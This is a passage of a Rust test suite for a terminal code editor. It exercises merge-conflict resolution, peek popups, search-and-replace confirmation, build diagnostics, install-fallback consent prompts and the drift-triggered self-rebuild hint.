    assert_eq!(mv.conflicts.len(), 2, "both overlapping hunks tracked");
    // The base pane holds the stage-1 (common ancestor) content.
    assert_eq!(mv.base[1], "base-one");
    assert_eq!(mv.conflicts[0].ours, vec!["main-one".to_string()]);
    assert_eq!(mv.conflicts[0].theirs, vec!["feature-one".to_string()]);
    // The Result starts as base for conflict regions (nothing else
    // differed in this fixture, so the whole buffer equals base).
    assert_eq!(app.editor.lines[1], "base-one");
    assert_eq!(
        app.editor.cursor_row, mv.conflicts[0].result_start,
        "the cursor lands on the first conflict region"
    );
    assert!(
        app.status.contains("2 conflicts"),
        "the status counts the conflicts; was {:?}",
        app.status
    );
    // "Reopen as Text" reaches the unchanged in-buffer marker flow.
    app.run_command(crate::widgets::command_palette::Command::ReopenAsText);
    assert!(app.editor.merge.is_none(), "back to a plain text tab");
    assert_eq!(
        app.editor.conflicts().len(),
        2,
        "the marker scan sees the on-disk conflict blocks again"
    );
}

#[test]
fn f7_cycles_conflicts_in_a_plain_editor_tab() {
    let tmp = tempfile::tempdir().unwrap();
    conflicted_repo(tmp.path());
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor
        .open_pinned(&tmp.path().join("shared.txt"))
        .unwrap();
    app.focus_pane(Pane::Editor);
    let headers: Vec<usize> = app
        .editor
        .conflicts()
        .iter()
        .map(|b| b.ours_start)
        .collect();
    assert_eq!(headers.len(), 2, "precondition: two conflict blocks");
    app.editor.cursor_row = 0;
    let f7 = |app: &mut App, shift: bool| {
        let mut key = crossterm::event::KeyEvent::new(KeyCode::F(7), KeyModifiers::NONE);
        if shift {
            key.modifiers = KeyModifiers::SHIFT;
        }
        app.handle_key(key).unwrap();
    };
    f7(&mut app, false);
    assert_eq!(
        app.editor.cursor_row, headers[0],
        "first F7 reaches conflict 1"
    );
    assert!(
        app.status.contains("Conflict 1 of 2"),
        "status names the position; was {:?}",
        app.status
    );
    f7(&mut app, false);
    assert_eq!(
        app.editor.cursor_row, headers[1],
        "second F7 reaches conflict 2"
    );
    f7(&mut app, false);
    assert_eq!(app.editor.cursor_row, headers[0], "F7 wraps to conflict 1");
    f7(&mut app, true);
    assert_eq!(
        app.editor.cursor_row, headers[1],
        "Shift+F7 walks backwards with wrap"
    );
}

#[test]
fn accept_all_incoming_then_complete_merge_stages_the_resolved_file() {
    let tmp = tempfile::tempdir().unwrap();
    conflicted_repo(tmp.path());
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let idx = wait_for_conflicted_entry(&mut app);
    app.open_source_control_entry(idx);

    // Completing while conflicts remain must refuse.
    app.complete_merge();
    assert!(
        app.status.contains("unresolved"),
        "complete must refuse while blocks remain; was {:?}",
        app.status
    );

    app.run_command(crate::widgets::command_palette::Command::MergeAcceptAllIncoming);
    assert_eq!(
        app.editor
            .merge
            .as_ref()
            .map(|mv| mv.unresolved_count())
            .unwrap_or(usize::MAX),
        0,
        "every conflict resolved"
    );
    assert_eq!(
        app.editor.lines.join("\n"),
        "alpha\nfeature-one\nm1\nm2\nm3\nm4\nm5\nfeature-two\nomega",
        "the Result keeps only the incoming side of both conflicts"
    );

    app.complete_merge();
    assert!(
        app.status.contains("Merge complete: staged shared.txt"),
        "complete must save and stage; was {:?}",
        app.status
    );
    let disk = std::fs::read_to_string(tmp.path().join("shared.txt")).unwrap();
    assert!(
        !disk.contains("<<<<<<<"),
        "the resolved file must be on disk, marker-free"
    );
    let porcelain = std::process::Command::new("git")
        .args(["-C", tmp.path().to_str().unwrap(), "status", "--porcelain"])
        .output()
        .unwrap();
    let out = String::from_utf8_lossy(&porcelain.stdout).to_string();
    let line = out
        .lines()
        .find(|l| l.contains("shared.txt"))
        .expect("shared.txt still in status");
    assert!(
        line.starts_with("M "),
        "after staging, shared.txt must be index-modified (M ), not unmerged; was {line:?}"
    );
}

#[test]
fn merge_editor_accepts_toggles_and_manual_edits_update_the_counter() {
    let tmp = tempfile::tempdir().unwrap();
    conflicted_repo(tmp.path());
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let idx = wait_for_conflicted_entry(&mut app);
    app.open_source_control_entry(idx);
    assert!(app.editor.merge.is_some());

    // Accept Current on conflict 1 (cursor already there).
    app.run_command(crate::widgets::command_palette::Command::MergeAcceptCurrent);
    assert_eq!(app.editor.lines[1], "main-one");
    // F7 lands on conflict 2; Accept Combination (Incoming First).
    app.merge_jump(false);
    assert!(app.status.contains("Conflict 2 of 2"), "{:?}", app.status);
    app.run_command(crate::widgets::command_palette::Command::MergeAcceptBothReverse);
    assert_eq!(
        app.editor.lines.join("\n"),
        "alpha\nmain-one\nm1\nm2\nm3\nm4\nm5\nfeature-two\nmain-two\nomega",
        "incoming-first combination splices theirs then ours"
    );
    assert_eq!(app.editor.merge.as_ref().unwrap().resolved_count(), 2);

    // Checkbox toggling: unchecking the only accepted side reverts the
    // region to base and the conflict back to unresolved.
    use crate::merge_editor::{CheckSide, ConflictState};
    app.merge_toggle_side(0, CheckSide::Incoming); // Current -> Both
    assert_eq!(
        app.editor.merge.as_ref().unwrap().conflicts[0].state,
        ConflictState::Both
    );
    assert_eq!(app.editor.lines[1], "main-one");
    assert_eq!(app.editor.lines[2], "feature-one");
    app.merge_toggle_side(0, CheckSide::Current); // Both -> Incoming
    app.merge_toggle_side(0, CheckSide::Incoming); // Incoming -> Unresolved
    let mv = app.editor.merge.as_ref().unwrap();
    assert_eq!(mv.conflicts[0].state, ConflictState::Unresolved);
    assert_eq!(app.editor.lines[1], "base-one", "back to base text");
    assert_eq!(mv.resolved_count(), 1);

    // A manual edit inside the region marks it manually resolved.
    let row = app.editor.merge.as_ref().unwrap().conflicts[0].result_start;
    app.editor.cursor_row = row;
    app.editor.cursor_col = 0;
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    app.merge_view_sync();
    let mv = app.editor.merge.as_ref().unwrap();
    assert_eq!(mv.conflicts[0].state, ConflictState::Manual);
    assert_eq!(mv.resolved_count(), 2, "manual edits count as resolved");

    // Base pane toggle.
    assert!(!app.editor.merge.as_ref().unwrap().show_base);
    app.run_command(crate::widgets::command_palette::Command::MergeToggleBase);
    assert!(app.editor.merge.as_ref().unwrap().show_base);
    assert_eq!(app.status, "Base pane shown");
}

#[test]
fn merge_editor_works_on_a_marker_only_file_outside_any_merge() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(
        tmp.path().join("plain.txt"),
        "top\n<<<<<<< HEAD\nmine\n=======\nyours\n>>>>>>> other\nbottom\n",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor
        .open_pinned(&tmp.path().join("plain.txt"))
        .unwrap();
    app.focus_pane(Pane::Editor);
    app.run_command(crate::widgets::command_palette::Command::MergeOpenEditor);
    let mv = app.editor.merge.as_ref().expect("marker synthesis worked");
    assert!(mv.from_markers);
    assert_eq!(mv.conflicts.len(), 1);
    assert_eq!(mv.conflicts[0].ours, vec!["mine".to_string()]);
    assert_eq!(mv.conflicts[0].theirs, vec!["yours".to_string()]);
    assert!(
        !app.editor.lines.iter().any(|l| l.starts_with("<<<<<<<")),
        "the Result holds no markers"
    );
    app.run_command(crate::widgets::command_palette::Command::MergeAcceptBoth);
    assert_eq!(
        app.editor.lines.join("\n"),
        "top\nmine\nyours\nbottom",
        "Accept Both keeps ours then theirs"
    );
    // Undo steps back through the accept and the initial transform to
    // the marker text.
    app.editor.undo();
    app.editor.undo();
    assert!(
        app.editor.lines.iter().any(|l| l.starts_with("<<<<<<<")),
        "the marker buffer is one undo chain away"
    );
}

#[test]
fn merge_editor_renders_source_panes_and_result_at_100_columns() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(
        tmp.path().join("plain.txt"),
        "top\n<<<<<<< HEAD\nmine\n=======\nyours\n>>>>>>> other\nbottom\n",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor
        .open_pinned(&tmp.path().join("plain.txt"))
        .unwrap();
    app.focus_pane(Pane::Editor);
    app.run_command(crate::widgets::command_palette::Command::MergeOpenEditor);
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer().clone();
    let a = buf.area;
    let text: String = (a.y..a.y + a.height)
        .map(|y| {
            (a.x..a.x + a.width)
                .map(|x| buf[(x, y)].symbol().to_string())
                .collect::<String>()
        })
        .collect::<Vec<_>>()
        .join("\n");
    assert!(text.contains("MERGE"), "header row painted");
    assert!(text.contains("0/1 conflict resolved"), "counter painted");
    assert!(text.contains("CURRENT (yours)"), "current pane titled");
    assert!(text.contains("INCOMING (theirs)"), "incoming pane titled");
    assert!(
        text.contains("RESULT (editable)"),
        "result separator painted"
    );
    assert!(
        text.contains("[ ]"),
        "the unresolved conflict shows unchecked boxes"
    );
    let spans = app.editor.merge.as_ref().unwrap().check_spans.clone();
    assert_eq!(spans.len(), 2, "one checkbox per source pane");
    // Clicking the Current checkbox accepts that side.
    let (y, xs, idx, _) = &spans[0];
    let m = crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: xs.start,
        row: *y,
        modifiers: KeyModifiers::NONE,
    };
    app.handle_mouse(m);
    let mv = app.editor.merge.as_ref().unwrap();
    assert_eq!(
        mv.conflicts[*idx].state,
        crate::merge_editor::ConflictState::Current,
        "the checkbox click accepted Current"
    );
    assert_eq!(app.editor.lines[1], "mine");
}

#[test]
fn clicking_an_accept_action_on_the_header_row_resolves_that_block() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    conflicted_repo(tmp.path());
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor
        .open_pinned(&tmp.path().join("shared.txt"))
        .unwrap();
    app.focus_pane(Pane::Editor);
    let backend = ratatui::backend::TestBackend::new(160, 44);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer().clone();
    let a = buf.area;
    let text: String = (a.y..a.y + a.height)
        .map(|y| {
            (a.x..a.x + a.width)
                .map(|x| buf[(x, y)].symbol().to_string())
                .collect::<String>()
        })
        .collect::<Vec<_>>()
        .join("\n");
    assert!(
        text.contains("[Accept Current]") && text.contains("[Accept Incoming]"),
        "the header row must carry the accept actions"
    );
    let span = app
        .editor
        .merge_action_spans
        .iter()
        .find(|(_, _, _, res)| *res == crate::merge::Resolution::Incoming)
        .cloned()
        .expect("an incoming action span must be recorded");
    let before = app.editor.conflicts().len();
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        span.1.start,
        span.0,
    ));
    assert_eq!(
        app.editor.conflicts().len(),
        before - 1,
        "the clicked block must resolve; status: {:?}",
        app.status
    );
    assert!(
        app.editor.lines.contains(&String::from("feature-one")),
        "the incoming side must be kept"
    );
    assert!(
        app.status.contains("Accepted incoming change"),
        "status must confirm; was {:?}",
        app.status
    );
}

#[test]
fn add_watch_via_the_palette_prompt_then_clear_all() {
    use crate::widgets::input_prompt::InputPurpose;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.run_command(crate::widgets::command_palette::Command::DebugAddWatch);
    let prompt = app
        .input_prompt
        .as_ref()
        .expect("Debug: Add Watch Expression must open an input prompt");
    assert_eq!(prompt.purpose, InputPurpose::AddWatch);
    for c in "len(cart)".chars() {
        app.input_prompt.as_mut().unwrap().push_char(c);
    }
    app.submit_input_prompt();
    assert!(app.input_prompt.is_none(), "submitting closes the prompt");
    assert_eq!(app.watch_exprs, vec!["len(cart)"]);
    assert!(app.status.contains("Watching len(cart)"));

    // Duplicates are refused silently, whitespace trimmed.
    app.add_watch_expression(String::from("  len(cart)  "));
    assert_eq!(app.watch_exprs.len(), 1, "no duplicate watches");

    app.add_watch_expression(String::from("t"));
    app.watch_vals
        .insert(String::from("t"), (String::from("9.99"), true));
    app.remove_watch_expression(0);
    assert_eq!(
        app.watch_exprs,
        vec!["t"],
        "removal is by display index, later rows keep their values"
    );
    assert!(app.watch_vals.contains_key("t"));

    app.run_command(crate::widgets::command_palette::Command::DebugClearWatch);
    assert!(app.watch_exprs.is_empty() && app.watch_vals.is_empty());
    assert!(app.status.contains("Removed 1 watch expression"));
}

#[test]
fn peek_excerpt_windows_clamp_to_the_file() {
    let lines: Vec<String> = (1..=20).map(|i| format!("line-{i}")).collect();
    let (start, ex) = peek_excerpt(&lines, 10, 4, 12);
    assert_eq!(
        (start, ex.len()),
        (6, 12),
        "centered window: 4 above, 7 below"
    );
    let (start, ex) = peek_excerpt(&lines, 1, 4, 12);
    assert_eq!(start, 0, "top of file clamps the above-context");
    assert_eq!(ex.len(), 12);
    let (start, ex) = peek_excerpt(&lines, 19, 4, 12);
    assert_eq!(
        (start, ex.len()),
        (8, 12),
        "bottom of file pulls the window up to keep it full"
    );
    let short: Vec<String> = (1..=3).map(|i| format!("s{i}")).collect();
    let (start, ex) = peek_excerpt(&short, 1, 4, 12);
    assert_eq!((start, ex.len()), (0, 3), "short files return whole");
    let (_, empty) = peek_excerpt(&[], 0, 4, 12);
    assert!(empty.is_empty());
}

#[test]
fn peek_popup_shows_the_target_then_enter_jumps_and_esc_closes() {
    let tmp = tempfile::tempdir().unwrap();
    let other = tmp.path().join("lib.rs");
    let body: String = (1..=30)
        .map(|i| {
            if i == 15 {
                String::from("fn the_answer() -> u32 {\n")
            } else {
                format!("// filler {i}\n")
            }
        })
        .collect();
    std::fs::write(&other, &body).unwrap();
    let here = tmp.path().join("main.rs");
    std::fs::write(&here, "fn main() { the_answer(); }\n// next line\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&here).unwrap();
    app.focus_pane(Pane::Editor);

    // The drain's consumer, driven directly (a live server is not needed to
    // pin the popup contract).
    app.open_peek_popup(other.clone(), 14, 3);
    let popup = app.peek_popup.as_ref().expect("the peek popup must open");
    let text = popup.lines.join("\n");
    assert!(
        text.starts_with("lib.rs:15"),
        "header names the workspace-relative target; was {text:?}"
    );
    assert!(
        text.contains("\u{25b6}15  fn the_answer"),
        "the definition line is numbered and marked; was {text:?}"
    );
    assert!(text.contains("Enter jumps"), "the footer teaches the keys");

    // Esc closes without moving.
    app.handle_key(crossterm::event::KeyEvent::new(
        KeyCode::Esc,
        KeyModifiers::NONE,
    ))
    .unwrap();
    assert!(app.peek_popup.is_none() && app.peek_target.is_none());
    assert_eq!(app.editor.path.as_deref(), Some(here.as_path()));

    // Enter jumps to the target and records it as a definition jump.
    app.open_peek_popup(other.clone(), 14, 3);
    app.handle_key(crossterm::event::KeyEvent::new(
        KeyCode::Enter,
        KeyModifiers::NONE,
    ))
    .unwrap();
    assert!(app.peek_popup.is_none());
    assert_eq!(
        app.editor.path.as_deref(),
        Some(other.as_path()),
        "Enter converts the peek into the real jump"
    );
    assert_eq!(app.editor.cursor_row, 14);

    // Any other key closes the popup AND keeps its meaning.
    app.editor.open_pinned(&here).unwrap();
    app.editor.cursor_row = 0;
    app.open_peek_popup(other.clone(), 14, 3);
    app.handle_key(crossterm::event::KeyEvent::new(
        KeyCode::Down,
        KeyModifiers::NONE,
    ))
    .unwrap();
    assert!(app.peek_popup.is_none(), "a plain key dismisses the glance");
    assert_eq!(
        app.editor.cursor_row, 1,
        "the dismissing key keeps its normal meaning — Down still moves"
    );
}

#[test]
fn peek_references_steps_through_every_reference_with_up_and_down() {
    // #616: the reply's references in the peek popup, "N of M" in the title,
    // Up/Down wrapping through them, Enter jumping to the one shown.
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.rs");
    let b = tmp.path().join("b.rs");
    std::fs::write(&a, "fn f() {}\nfn g() { f(); }\n").unwrap();
    std::fs::write(&b, "fn h() {\n    f();\n}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&a).unwrap();
    app.focus_pane(Pane::Editor);
    app.peek_refs = Some((vec![(a.clone(), 1, 9), (b.clone(), 1, 4)], 0));
    app.show_peeked_reference();
    let text = |app: &App| app.peek_popup.as_ref().expect("popup").lines.join("\n");
    assert!(text(&app).starts_with("Reference 1 of 2"), "{}", text(&app));
    assert!(text(&app).contains("a.rs:2"));

    let press = |app: &mut App, code| {
        app.handle_key(crossterm::event::KeyEvent::new(code, KeyModifiers::NONE))
            .unwrap()
    };
    press(&mut app, KeyCode::Down);
    assert!(
        text(&app).starts_with("Reference 2 of 2"),
        "Down steps, not dismisses"
    );
    assert!(text(&app).contains("b.rs:2"));
    press(&mut app, KeyCode::Down);
    assert!(text(&app).starts_with("Reference 1 of 2"), "and wraps");
    press(&mut app, KeyCode::Up);
    press(&mut app, KeyCode::Enter);
    assert!(app.peek_popup.is_none() && app.peek_refs.is_none());
    assert_eq!(app.editor.path.as_deref(), Some(b.as_path()));
    assert_eq!(app.editor.cursor_row, 1);
}

#[test]
fn alt_shift_f12_is_peek_references_not_go_to_references() {
    let key_of = |m| crossterm::event::KeyEvent::new(KeyCode::F(12), m);
    let peek = key_of(KeyModifiers::ALT | KeyModifiers::SHIFT);
    assert!(is_peek_references_key(peek));
    assert!(!is_peek_references_key(key_of(KeyModifiers::SHIFT)));
    assert!(is_go_to_references_key(key_of(KeyModifiers::SHIFT)));
}

#[test]
fn f12_family_chords_route_alt_to_peek() {
    let plain = crossterm::event::KeyEvent::new(KeyCode::F(12), KeyModifiers::NONE);
    let alt = crossterm::event::KeyEvent::new(KeyCode::F(12), KeyModifiers::ALT);
    assert!(is_go_to_definition_key(plain) && !is_peek_definition_key(plain));
    assert!(is_peek_definition_key(alt) && !is_go_to_definition_key(alt));
    let shift_alt =
        crossterm::event::KeyEvent::new(KeyCode::F(12), KeyModifiers::ALT | KeyModifiers::SHIFT);
    assert!(
        !is_peek_definition_key(shift_alt),
        "peek requires ALT alone in the F12 family"
    );
}

#[test]
fn build_scan_installs_problems_replaces_per_pane_and_merges_with_lsp() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let cwd = tmp.path().join("proj");
    std::fs::create_dir(&cwd).unwrap();

    let cargo_out = "error[E0308]: mismatched types\n  --> src/main.rs:12:5\n";
    assert!(app.apply_build_scan(0, Some(&cwd), "cargo build", cargo_out));
    let expected = cwd.join("src/main.rs");
    let groups = app.problems.groups().to_vec();
    let g = groups
        .iter()
        .find(|g| g.path == expected)
        .expect("the resolved file must group in PROBLEMS");
    assert_eq!(g.items.len(), 1);
    assert_eq!(g.items[0].source, "rustc");
    assert_eq!((g.items[0].line, g.items[0].col), (11, 4));

    // A second pane contributes a different file; both coexist.
    assert!(app.apply_build_scan(1, Some(&cwd), "make", "main.c:7:3: error: boom\n"));
    assert_eq!(app.problems.groups().len(), 2);

    // Pane 0 rebuilds clean: its contribution clears, pane 1's stays.
    assert!(app.apply_build_scan(0, Some(&cwd), "cargo build", "   Finished dev profile\n"));
    let groups = app.problems.groups().to_vec();
    assert_eq!(groups.len(), 1, "pane 0's fixed errors must vanish");
    assert!(groups[0].path.ends_with("main.c"));

    // Clean output from a pane with no history is a no-op.
    assert!(!app.apply_build_scan(5, Some(&cwd), "true", "all good\n"));

    app.clear_build_diagnostics();
    assert!(app.problems.groups().is_empty());
    assert!(app.status.contains("Cleared 1 build diagnostic"));
}

#[test]
fn replace_all_requires_confirmation_and_esc_cancels() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("a.txt"), "beta one\nbeta two\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.search.root = tmp.path().to_path_buf();
    app.search.query = String::from("beta");
    app.search.replace = String::from("delta");
    app.search.run_query();
    assert_eq!(app.search.hits.len(), 2, "precondition: two hits");

    // A still-streaming search refuses: hits arriving after confirmation
    // would be silently missed.
    app.search.complete = false;
    app.run_search_replace_all();
    assert!(app.pending_replace_all.is_none());
    assert!(app.status.contains("still running"));

    app.search.complete = true;
    app.run_search_replace_all();
    assert_eq!(
        app.pending_replace_all,
        Some((2, 1, 0)),
        "Enter must raise the modal with counts, not write"
    );
    let disk = std::fs::read_to_string(tmp.path().join("a.txt")).unwrap();
    assert!(
        disk.contains("beta"),
        "nothing is written before confirmation"
    );

    app.handle_key(crossterm::event::KeyEvent::new(
        KeyCode::Esc,
        KeyModifiers::NONE,
    ))
    .unwrap();
    assert!(app.pending_replace_all.is_none());
    assert!(app.status.contains("cancelled"));
    let disk = std::fs::read_to_string(tmp.path().join("a.txt")).unwrap();
    assert!(disk.contains("beta"), "Esc leaves the files alone");

    app.run_search_replace_all();
    app.handle_key(crossterm::event::KeyEvent::new(
        KeyCode::Enter,
        KeyModifiers::NONE,
    ))
    .unwrap();
    let disk = std::fs::read_to_string(tmp.path().join("a.txt")).unwrap();
    assert_eq!(disk, "delta one\ndelta two\n", "Enter commits the rewrite");
    assert!(app.status.contains("replaced 2 occurrence"));
}

#[test]
fn replace_all_skips_files_open_with_unsaved_changes() {
    let tmp = tempfile::tempdir().unwrap();
    let clean = tmp.path().join("clean.txt");
    let dirty = tmp.path().join("dirty.txt");
    std::fs::write(&clean, "beta here\n").unwrap();
    std::fs::write(&dirty, "beta there\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&dirty).unwrap();
    app.editor.insert_char('x'); // unsaved edit
    assert!(app.editor.dirty);

    app.search.root = tmp.path().to_path_buf();
    app.search.query = String::from("beta");
    app.search.replace = String::from("delta");
    app.search.run_query();
    app.search.complete = true;
    app.run_search_replace_all();
    assert_eq!(
        app.pending_replace_all,
        Some((1, 1, 1)),
        "the modal counts exclude the dirty file and name the skip"
    );
    app.handle_key(crossterm::event::KeyEvent::new(
        KeyCode::Enter,
        KeyModifiers::NONE,
    ))
    .unwrap();

    assert_eq!(
        std::fs::read_to_string(&clean).unwrap(),
        "delta here\n",
        "the clean file is rewritten"
    );
    assert_eq!(
        std::fs::read_to_string(&dirty).unwrap(),
        "beta there\n",
        "the dirty-open file is untouched on disk"
    );
    assert!(
        app.status.contains("skipped dirty.txt") && app.status.contains("unsaved"),
        "the skip is named; was {:?}",
        app.status
    );
}

#[test]
fn drag_target_over_the_sticky_band_is_the_pinned_directory() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join("outer/inner")).unwrap();
    for i in 0..25 {
        std::fs::write(tmp.path().join(format!("outer/inner/f{i:02}.rs")), "x\n").unwrap();
    }
    std::fs::write(tmp.path().join("loose.txt"), "x\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let outer = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.ends_with("outer"))
        .unwrap();
    app.tree.selected = outer;
    app.tree.expand_selected();
    let inner = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.ends_with("inner"))
        .unwrap();
    app.tree.selected = inner;
    app.tree.expand_selected();
    // Scroll deep so the band pins ancestors, selection far below.
    let deep = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.ends_with("f20.rs"))
        .unwrap();
    app.tree.selected = deep;
    app.tree.scroll = deep.saturating_sub(3);
    let backend = ratatui::backend::TestBackend::new(120, 20);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let (band_y, pinned_idx) = {
        let rows = app.tree.sticky_rows_for_test();
        // The MIDDLE pinned row ("outer") is where the behaviors diverge:
        // the outermost is the workspace root (dropping a root-level file
        // into its own parent is correctly refused), and the deepest
        // ("inner") coincides with the covered rows' parent, where the old
        // sticky-blind resolution accidentally agreed.
        assert!(rows.len() >= 3, "band must pin root/outer/inner here");
        rows[1]
    };
    let loose = tmp.path().join("loose.txt");
    let target = drag_target_index(&app.tree, band_y, std::slice::from_ref(&loose))
        .expect("a pinned directory is a valid drop target");
    assert_eq!(
        target, pinned_idx,
        "the drop target under the band is the PINNED directory, not the covered row"
    );
    let covered = app.tree.node_at_y(band_y);
    assert_ne!(
        covered,
        Some(target),
        "precondition: the band actually covers a different row there"
    );
    let _ = MouseEventKind::Down(MouseButton::Left); // silence unused import paths on some cfgs
}

// The 2026-08-09 gitcgr report: the installer slid into the slow
// compile-on-remote fallback without asking. `answer_install_fallback` is the
// decision point behind both the Enter and the click handler, so the y/yes
// parsing and the decline teardown are pinned here rather than at each caller.
#[test]
fn install_fallback_proceeds_only_on_an_explicit_yes() {
    let tmp = tempfile::tempdir().unwrap();
    for reply in ["y", "Y", "yes", "YES", "  yes  "] {
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.connect_dialog = Some(crate::widgets::connect_dialog::ConnectDialog::new(
            "gitcgr".to_string(),
        ));
        app.answer_install_fallback(reply);
        let dialog = app.connect_dialog.as_ref().unwrap_or_else(|| {
            panic!("{reply:?} accepts the slow compile, so the dialog stays up")
        });
        assert_eq!(
            dialog.phase,
            crate::widgets::connect_dialog::DialogPhase::Installing,
            "{reply:?} should hand over to the installing phase"
        );
    }
}

#[test]
fn install_fallback_declines_and_tears_down_on_anything_else() {
    let tmp = tempfile::tempdir().unwrap();
    // An empty submit (bare Enter) is the important one: the footer offers it
    // as Cancel, so it must never read as consent.
    for reply in ["", "   ", "n", "no", "yep", "later"] {
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.connect_dialog = Some(crate::widgets::connect_dialog::ConnectDialog::new(
            "gitcgr".to_string(),
        ));
        app.pending_remote_launch_host = Some("gitcgr".to_string());
        app.answer_install_fallback(reply);
        assert!(
            app.connect_dialog.is_none(),
            "{reply:?} declines, which closes the dialog"
        );
        assert!(
            app.pending_remote_launch_host.is_none(),
            "{reply:?} declines, so the pending launch is torn down too"
        );
        assert!(
            app.status.contains("setup-cross"),
            "the decline must point at the fast-path fix, got {:?}",
            app.status
        );
    }
}

#[test]
fn install_fallback_without_a_dialog_does_not_panic() {
    // The install thread can answer after the dialog is gone (user hit Esc
    // while the prompt was in flight); both arms must tolerate the absence.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.answer_install_fallback("y");
    assert!(app.connect_dialog.is_none());
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.answer_install_fallback("");
    assert!(app.connect_dialog.is_none());
}

// 2026-08-22 (#242): a Mac croft shipped a remote main @ 84a31a0 while itself
// running an hour-old binary — locally, nothing ever compares the installed
// croft against the repo it came from. The drift hint claims bare F9 only
// while it is armed and no update is otherwise in flight, so the key keeps
// its debugger meaning everywhere else.
#[test]
fn drift_hint_arms_f9_only_while_idle() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(
        !app.f9_update_armed(),
        "no drift, no landed update: F9 stays a breakpoint key"
    );
    app.local_drift = Some(String::from("def456"));
    assert!(app.f9_update_armed(), "an armed drift hint claims F9");
    app.self_install = Some(crate::update_watch::SelfInstall::preloaded(&[]));
    assert!(
        !app.f9_update_armed(),
        "a spawned install must latch F9 even before its InProgress event \
         is drained - two F9s in one input batch must not double-spawn"
    );
    app.self_install = None;
    app.update_status = UpdateStatus::InProgress;
    assert!(
        !app.f9_update_armed(),
        "a running rebuild must not re-trigger on F9"
    );
    app.local_drift = None;
    app.update_status = UpdateStatus::Ready;
    assert!(
        app.f9_update_armed(),
        "a landed update claims F9 for the re-exec"
    );
}

// The probe end-to-end against a real repo: a baked hash that differs from
// the repo's HEAD must arm the hint and say how to act on it.
#[test]
fn drift_probe_verdict_arms_the_rebuild_hint() {
    let repo = tempfile::tempdir().unwrap();
    let git = |args: &[&str]| {
        let out = std::process::Command::new("git")
            .arg("-C")
            .arg(repo.path())
            .args(args)
            .output()
            .unwrap();
        assert!(out.status.success(), "git {args:?} failed");
        String::from_utf8(out.stdout).unwrap().trim().to_string()
    };
    git(&["init", "-q"]);
    git(&[
        "-c",
        "user.email=t@t",
        "-c",
        "user.name=t",
        "commit",
        "-q",
        "--allow-empty",
        "-m",
        "one",
    ]);
    let head = git(&["rev-parse", "--short", "HEAD"]);

    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.drift_probe = Some(crate::update_watch::DriftProbe::start(
        repo.path().to_string_lossy().into_owned(),
        String::from("0000000"),
    ));
    let mut armed = false;
    for _ in 0..50 {
        if app.poll_drift_probe() {
            armed = true;
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(100));
    }
    assert!(armed, "the probe's verdict must arrive and report drift");
    assert!(app.drift_probe.is_none(), "the probe answers exactly once");
    assert_eq!(app.local_drift.as_deref(), Some(head.as_str()));
    assert!(
        app.status.contains("F9"),
        "the status must say how to act on the drift: {:?}",
        app.status
    );
}

// CodeRabbit on #243: a failed rebuild used to strand the user — the drift
// marker was cleared when the install started and nothing restored it, so
// after a failure F9 silently reverted to its breakpoint meaning and only a
// full relaunch re-probed. A failure must leave the hint armed for a retry.
#[test]
fn a_failed_reinstall_rearms_the_drift_hint_for_retry() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.local_drift = Some(String::from("def456"));
    app.self_install = Some(crate::update_watch::SelfInstall::preloaded(&[
        crate::update_watch::UpdateEvent::InProgress,
        crate::update_watch::UpdateEvent::Failed,
    ]));
    assert!(app.poll_update_watch());
    assert_eq!(app.update_status, UpdateStatus::Idle);
    assert!(
        app.status
            .contains(&format!("self-install-{}.log", std::process::id())),
        "a failure must say where THIS process's build log is: {:?}",
        app.status
    );
    assert!(
        app.f9_update_armed(),
